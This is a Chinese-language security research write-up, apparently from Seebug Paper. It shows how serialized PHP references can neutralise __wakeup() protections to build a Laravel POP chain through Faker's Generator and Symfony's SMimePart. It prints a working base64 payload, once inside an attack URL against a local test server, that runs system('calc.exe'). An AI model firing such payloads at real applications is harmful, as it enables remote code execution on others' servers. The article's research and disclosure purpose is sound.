A new way to bypass __wakeup()
and build POP chain
本文收录于 seebug paper :https://paper.seebug.org/1905/
本文以 Laravel 9.1.8 为例,介绍一个通用的新思路,用以绕过 pop chain 构造过程中遇到的
__wakeup()
环境搭建
Laravel 9.1.8
routes/web.php
:
1 |
|
要绕过的 __wakeup()
https://github.com/FakerPHP/Faker
https://github.com/FakerPHP/Faker/pull/136
https://github.com/FakerPHP/Faker/pull/136/commits/841e8bdde345cc1ea9f98e776959e7531cadea0e
在 laravel < v5.7 , yii2 < 2.0.38 的情况下, Faker\Generator
是非常好用的反序列化 gagdet ,但是从 FakerPHP v 1.12.1
之后, Generator.php
中加了个 __wakeup()
方法:
1 | public function __wakeup() |
这使得 $this->formatters
的值始终为空 array ,这个 gagdet 一定程度上,不能用了。
本文提供一个通用的新思路,用以绕过 pop chain 构造过程中遇到的 __wakeup()
梳理绕过思路
关键词:reference
https://www.phpinternalsbook.com/php5/classes_objects/serialization.html
demo
首先考虑 这样一个 demo :
1 |
|
运行结果:
可以看到 s:4:"fuck";R:2;
,使得 $this->fuck
和 $this->bitch
指向的是同一个值,即 $this->fuck
修改了 $this->bitch
也被修改了, $this->bitch
修改了 $this->fuck
也被修改了
核心思想
- 让
Faker\Generator
的$this->formatters
和某个对象$o
的某个属性$a
指向同一个值 - 在
Faker\Generator
的__wakeup()
运行完之后,反序列化 gadget 的__destruct()
运行之前,给$a
赋值 $a
的赋值如果完全可控,那么$this->formatters
将不再为空,且完全可控
寻找绕过用的 gadget
根据上面的思路,很容易想到,找一个合适的 __wakeup()
或者 __destruct()
其中最好有类似这样的代码:
1 | $this->a = $this->b; |
1 | $this->a[$this->b] = $this->c |
经过搜索排查,这里给出 三个可以用的 gadget :
Symfony\Component\Mime\Part\SMimePart.php
:
1 | namespace Symfony\Component\Mime\Part; |
这个类来自 https://github.com/symfony/mime ,其 $headers
属性继承自其父类 AbstractPart
,__wakeup()
当中使用反射给 $headers
赋值
翻看 git log ,可以看到从项目建立开始,这个 SMimePart
的 __wakeup()
就存在,而且没有变过( 也就是说凡是使用了 symfony/mime
这个依赖的项目,其 __wakeup()
都可能可以绕过 ):
除此之外,
Part/DataPart.php
和Part/TextPart.php
的__wakeup()
也 和Part/SMimePart.php
大致相同,一样可以被用作 gadget
构造 poc
比如对 Laravel/RCE1 这条链进行改造:
https://github.com/ambionics/phpggc/blob/master/gadgetchains/Laravel/RCE/1/gadgets.php
1 |
|
- 让
Faker\Generator
的$this->formatters
引用到Symfony\Component\Mime\Part\SMimePart
继承的$headers
- 将
Symfony\Component\Mime\Part\SMimePart
继承的$headers
的序列化数据排列到Faker\Generator
的$this->formatters
的序列化数据之前(这里用正则进行调整) - 让
Faker\Generator
是Symfony\Component\Mime\Part\SMimePart
的一个属性(这里自己随便写了个属性$inhann
) ,这样一来Symfony\Component\Mime\Part\SMimePart
的__wakeup
才会在Faker\Generator
的__wakeup
之后执行 Symfony\Component\Mime\Part\SMimePart
的__destruct()
默认情况没有影响
result :
1 | TzozNzoiU3ltZm9ueVxDb21wb25lbnRcTWltZVxQYXJ0XFNNaW1lUGFydCI6Mzp7cz OToiAFN5bWZvbnlcQ29tcG9uZW50XE1pbWVcUGFydFxBYnN0cmFjdFBhcnQAaGVhZGVycyI7TjtzOjExOiIAKgBfaGVhZGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fXM6NjoiaW5oYW5uIjtPOjQwOiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xQZW5kaW5nQnJvYWRjYXN0IjoyOntzOjU6ImV2ZW50IjtzOjg6ImNhbGMuZXhlIjtzOjY6ImV2ZW50cyI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjozOntzOjEyOiIAKgBwcm92aWRlcnMiO2E6MDp7fXM6MTM6IgAqAGZvcm1hdHRlcnMiO1I6MjtzOjk6ImZvcm1hdHRlciI7cz OiJkaXNwYXRjaCI7fX19 |
attack :
1 | http://127.0.0.1/?ser=TzozNzoiU3ltZm9ueVxDb21wb25lbnRcTWltZVxQYXJ0XFNNaW1lUGFydCI6Mzp7czo0OToiAFN5bWZvbnlcQ29tcG9uZW50XE1pbWVcUGFydFxBYnN0cmFjdFBhcnQAaGVhZGVycyI7TjtzOjExOiIAKgBfaGVhZGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fXM6NjoiaW5oYW5uIjtPOjQwOiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xQZW5kaW5nQnJvYWRjYXN0IjoyOntzOjU6ImV2ZW50IjtzOjg6ImNhbGMuZXhlIjtzOjY6ImV2ZW50cyI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjozOntzOjEyOiIAKgBwcm92aWRlcnMiO2E6MDp7fXM6MTM6IgAqAGZvcm1hdHRlcnMiO1I6MjtzOjk6ImZvcm1hdHRlciI7czo4OiJkaXNwYXRjaCI7fX19 |
这条链子改进之后,已整合进phpggc:
https://github.com/ambionics/phpggc/issues/118
https://github.com/ambionics/phpggc/blob/master/gadgetchains/Laravel/RCE/11/gadgets.php
调试:
Generator\Generator
的 __wakeup()
先被调用:
Symfony\Component\Mime\Part\SMimePart
的 __wakeup()
随后被调用,并将 $this->_headers
赋值给 $this->headers
:
然后才进入 __destruct()
:
可以看到,虽然 Generator\Generator
的 __wakeup()
执行了,但是 $this->formatters
不为空:
总结
总的来说,本文介绍的 bypass __wakeup()
并不是跳过 __wakeup()
的执行,而是通过构造包含reference的特殊序列化数据 ,达到对冲 __wakeup()
的效果。一般情况下,如果 __wakeup()
里面是对属性的再赋值,而没有 throw Exception 之类的,环境依赖又恰到好处,那就可以达到本文所说的 bypass。